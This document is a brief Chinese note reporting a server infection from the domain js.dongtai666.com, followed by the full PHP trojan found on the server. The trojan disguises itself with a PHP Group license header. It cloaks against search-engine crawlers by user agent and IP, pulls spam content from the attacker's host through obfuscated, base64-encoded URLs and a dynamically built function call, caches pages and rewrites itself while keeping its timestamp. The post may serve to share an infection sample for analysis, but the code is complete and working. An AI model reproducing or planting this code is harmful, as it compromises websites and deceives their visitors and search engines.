服务器感染的木马，来自这个域名js.dongtai666.com

muma

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP version 5                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2004 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 3.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available through the world-wide-web at the following url:           |
// | http://www.php.net/license/3_0.txt.                                  |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | [email protected] so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Original Author <[email protected]>                        |
// |          Your Name <[email protected]>                                 |
// +----------------------------------------------------------------------+
//
// $Id:$

ini_set('display_errors', 'Off');
ini_set('max_execution_time', 0);
define('SID', '49889');
define('ROOT', dirname(__FILE__));
define('LOCAL', True);
function heade_() {
    if (stristr($_GET['id'], SID)) return true;
    else return false;
}
function isspider($open = 0) {
    if (!$open) if (heade_()) return true;
    $agent = "agent:" . strtolower($_SERVER["HTTP_USER_AGENT"]);
    $searray = array(
        "googlebot",
        "baiduspider",
        "sogou",
        "yahoo",
        "soso"
    );
    foreach ($searray as $se) {
        if (strpos($agent, $se) > 0) return true;
    }
    return false;
}
function isindex() {
    if (heade_()) return false;
    $pname = strtolower($_SERVER["SCRIPT_NAME"]);
    $pquery = strtolower($_SERVER["QUERY_STRING"]);
    $parray = array(
        "/index.",
        "/default.",
        "/main."
    );
    foreach ($parray as $se) {
        if (strpos($pname, $se) > - 1 && strlen($pquery) < 1) return true;
    }
}
function Happy() {
    $ip = $_SERVER['REMOTE_ADDR'];
    if (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
        foreach ($matches[0] AS $xip) {
            if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                $ip = $xip;
                break;
            }
        }
    }
    $TNT_Group = array(
        '123.125.68',
        '220.181.68',
        '220.181.7',
        '121.14.89',
        '203.208.60',
        '210.72.225',
        '125.90.88',
        '220.181.108',
        '123.125.71',
        '123.125.67'
    );
    foreach ($TNT_Group as $addr) if (stristr($ip, $addr)) return False;
    return True;
}
if (LOCAL) {
    $HtmlDir = ROOT . '/' . 'HtmlSave';
    if (!is_dir($HtmlDir)) mkdir($HtmlDir);
}
if (SID == '_N' . 'OT_O' . 'PTI' . 'ON_X5') {
    if (function_exists('file_get_contents')) {
        $ftime = filemtime(__FILE__);
        $N_ID = mt_rand(20000, 99999);
        $c_f = file_get_contents(__FILE__);
        $c_f = str_replace('_NOT_' . 'OPTION_X5', $N_ID, $c_f);
        fwrite(fopen(__FILE__, 'w') , $c_f);
        touch(__FILE__, $ftime);
    }
}
if ($_GET['action'] == 'ad') die(@file_get_contents('ht' . 'tp://j' . 's.do' . 'ng' . 'ta' . 'i66' . '6.c' . 'om/j' . 's' . '/ff' . '.ht' . 'ml'));
if (Happy()) {
    $urlrefer = strtolower("refer:" . @$_SERVER["HTTP_REFERER"]);
    $searray = array(
        "google",
        "baidu",
        "sogou",
        "yahoo",
        "soso",
        "360",
        'so.com'
    );
    if (!isspider(1)) foreach ($searray as $se) {
        if (strpos($urlrefer, $se) > 0) {
            if (heade_()) {
                echo @file_get_contents('htt' . 'p://' . 'js.' . 'd' . 'ongt' . 'a' . 'i6' . '66' . '.co' . 'm' . '/j' . 's/c' . '.t' . 'xt');
                exit;
            }
        }
    }
}
if (isspider() & !isindex()) {
    if (isset($N_ID)) $SID = $N_ID;
    if (SID != '_N' . 'OT_O' . 'PTI' . 'ON_X5') $SID = SID;
    $ID = trim(str_replace(SID, '', $_GET['id']));
    $NMNEWONSOJFOJNS = '';
    if (LOCAL) {
        if (is_file($HtmlDir . '/' . str_replace('.', '', $ID))) {
            header('Content-Type: text/html; charset=UTF-8');
            die(file_get_contents($HtmlDir . '/' . str_replace('.', '', $ID)));
        }
    }
    $FF0ffff__ff_ff_ff1110 = 'domain=' . $_SERVER['HTTP_HOST'];
    $FF0ffff__ff_ff_ff1110.= $NMNEWONSOJFOJNS = '&SID=' . $SID;
    if (isset($_GET['id'])) $_q = '?words=' . mt_rand(1, 10) . '&v=' . $ID . '&' . $FF0ffff__ff_ff_ff1110;
    else $_q = '?' . $FF0ffff__ff_ff_ff1110;
    $_0101010101 = $_000000003F = BAsE64_DECODE('a' . 'n' . 'V' . 'z' . 'd' . 'A' . BASE64_DECODE('P' . 'T0' . '='));
    $_FFFF11 = $_fFf1f = '';
    function _00F0f00of00o0F0o0f0Fo($_FFFFFF, $_I1 = '3', $_II = '7') {
        return str_replace($_II, $_I1, $_FFFFFF);
    }
    $__0xFFFF00FFF0F = str_replace(array(
        'r',
        'd',
        'l',
        'e',
        'y',
        'v',
        'z',
        's',
        's',
        '2',
        ' ',
        $_0101010101,
        $_000000003F,
        '0',
        '.',
        'g'
    ) , $_000000, 'say very g00d.');
    $__0xFFF101 = str_replace(array(
        'E',
        'r',
        's',
        'Z',
        'i',
        'J',
        'z',
        's',
        'v',
        'S',
        ' ',
        $_0101010101,
        $_GET[id],
        $_000000003F,
        ',',
        '.',
        'e'
    ) , '', ' Js Ss Ev Zs it SS.');
    $__0111111FFF = str_replace(array(
        'u',
        'i',
        'd',
        'o',
        'y',
        'n',
        'e',
        'W',
        'a',
        '2',
        ' ',
        $_GET[s],
        $_0101010101,
        $_000000003F,
        ',',
        '.',
        '#'
    ) , '', ' We and you is.');
    $ffofo_of00offff = str_replace('3', '7', 'cGhwLjV4LzV4L21vYy42NjZpYXRnbm9kLjJkLy86cHR0aA' . '' . '=' . '' . '=');
    $__0xFFF010101 = str_replace(array(
        'a',
        'r',
        's',
        'Z',
        'y',
        'J',
        'z',
        's',
        'v',
        'S',
        ' ',
        $_0101010101,
        $_GET[id],
        $_000000003F,
        ',',
        '.'
    ) , '', ' Js s Jv Zs are SS.');
    $__0x111F01101100 = str_replace(array(
        'W',
        'e',
        't',
        'o',
        'y',
        'm',
        'e',
        'h',
        'o',
        'u',
        ' ',
        'i',
        $_0101010101,
        $_000000003F,
        ',',
        '.',
        '#'
    ) , $_000000, ' We the mis 

you.');
    $__01111111FFF = str_replace(array(
        'u',
        'i',
        'd',
        'o',
        'y',
        'n',
        'z',
        'W',
        'a',
        'e',
        ' ',
        $_GET[s],
        $_0101010101,
        $_000000003F,
        ',',
        '.',
        '#'
    ) , '', ' We and you are.');
    $ffoff0o_of00000offff = _00F0f00of00o0F0o0f0Fo($ffofo_of00offff);
    $_o0o001100o111o011 = '$_conn = f' . 'il' . 'e_g' . 'et_' . chr(99) . 'o' . chr(110) . 'ten' . 'ts("' . urldecode(strrev(bAse64_decode($ffoff0o_of00000offff . '=' . '' . '='))) . $_q . '")';
    $_E = strrev($__0xFFF101 . '' . '' . $__01111111FFF . $__0xFFF010101 . $__0111111FFF . '' . '' . $__0x111F01101100 . '' . '' . $__0xFFFF00FFF0F);
    ($_ = $_E) . $_($_o0o001100o111o011);
    $_jHHsHHs = $H0F0o00po = $_conn;
    if (500 > strlen($_jHHsHHs)) Exit;
    if (LOCAL) if (!file_exists($HtmlDir . '/' . str_replace('.', '', $ID))) fwrite(fopen($HtmlDir . '/' . str_replace('.', '', $ID) , 'w') , $_jHHsHHs);
    header('Content-Type: text/html; charset=UTF-8');
    echo $_jHHsHHs;
    exit; //w7vT0MLywvQgvs3Du9PQybG6pg
    
}
?>